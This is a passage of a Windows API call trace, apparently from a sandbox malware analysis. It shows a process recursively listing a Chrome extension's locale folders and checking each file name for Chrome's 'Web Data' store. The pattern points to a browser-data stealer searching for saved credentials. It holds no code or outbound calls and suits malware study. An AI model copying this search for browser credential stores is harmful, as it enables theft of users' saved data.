IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.178] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.178] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.178] lstrlenA (lpString="id") returned 2 [0056.178] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.178] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.178] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id" [0056.178] LocalFree (hMem=0x2daca0) returned 0x0 [0056.178] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id") returned 131 [0056.178] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id") returned 131 [0056.178] lstrlenA (lpString="\\*.*") returned 4 [0056.178] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.178] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id" [0056.178] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*.*" [0056.178] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.178] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.178] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.178] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.178] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.178] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.178] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.178] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.178] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.178] LocalFree (hMem=0x2daca0) returned 0x0 [0056.178] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.178] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.179] lstrcmpiA (lpString1=".", lpString2="it") returned -1 [0056.179] lstrcmpiA (lpString1="..", lpString2="it") returned -1 [0056.179] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.179] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.179] lstrlenA (lpString="\\") returned 1 [0056.179] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.179] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.179] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.179] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.179] lstrlenA (lpString="it") returned 2 [0056.179] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.179] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.179] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it" [0056.179] LocalFree (hMem=0x2daca0) returned 0x0 [0056.179] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it") returned 131 [0056.179] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it") returned 131 [0056.179] lstrlenA (lpString="\\*.*") returned 4 [0056.179] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.179] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it" [0056.179] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*.*" [0056.179] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.179] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.179] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.179] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.179] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.179] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.179] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.179] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.179] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.179] LocalFree (hMem=0x2daca0) returned 0x0 [0056.179] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.179] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.179] lstrcmpiA (lpString1=".", lpString2="ja") returned -1 [0056.179] lstrcmpiA (lpString1="..", lpString2="ja") returned -1 [0056.179] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.179] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.179] lstrlenA (lpString="\\") returned 1 [0056.179] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.179] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.179] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.179] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.179] lstrlenA (lpString="ja") returned 2 [0056.179] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.179] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.179] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja" [0056.179] LocalFree (hMem=0x2daca0) returned 0x0 [0056.179] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja") returned 131 [0056.180] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja") returned 131 [0056.180] lstrlenA (lpString="\\*.*") returned 4 [0056.180] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.180] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja" [0056.180] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*.*" [0056.180] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.180] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.180] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.180] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.180] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.180] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.180] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.180] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.180] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.180] LocalFree (hMem=0x2daca0) returned 0x0 [0056.180] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.180] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.180] lstrcmpiA (lpString1=".", lpString2="ko") returned -1 [0056.180] lstrcmpiA (lpString1="..", lpString2="ko") returned -1 [0056.180] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.180] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.180] lstrlenA (lpString="\\") returned 1 [0056.180] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.180] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.180] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.180] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.180] lstrlenA (lpString="ko") returned 2 [0056.180] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.180] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.180] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko" [0056.180] LocalFree (hMem=0x2daca0) returned 0x0 [0056.180] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko") returned 131 [0056.180] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko") returned 131 [0056.180] lstrlenA (lpString="\\*.*") returned 4 [0056.180] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.180] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko" [0056.180] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*.*" [0056.180] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.180] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.181] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.181] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.181] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.181] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.181] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.181] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.181] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.181] LocalFree (hMem=0x2daca0) returned 0x0 [0056.181] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.181] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.181] lstrcmpiA (lpString1=".", lpString2="lt") returned -1 [0056.181] lstrcmpiA (lpString1="..", lpString2="lt") returned -1 [0056.181] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.181] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.181] lstrlenA (lpString="\\") returned 1 [0056.181] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.181] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.181] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.181] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.181] lstrlenA (lpString="lt") returned 2 [0056.181] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.181] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.181] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="lt" | out: lpString1="C:\\Users\\aDU0VK 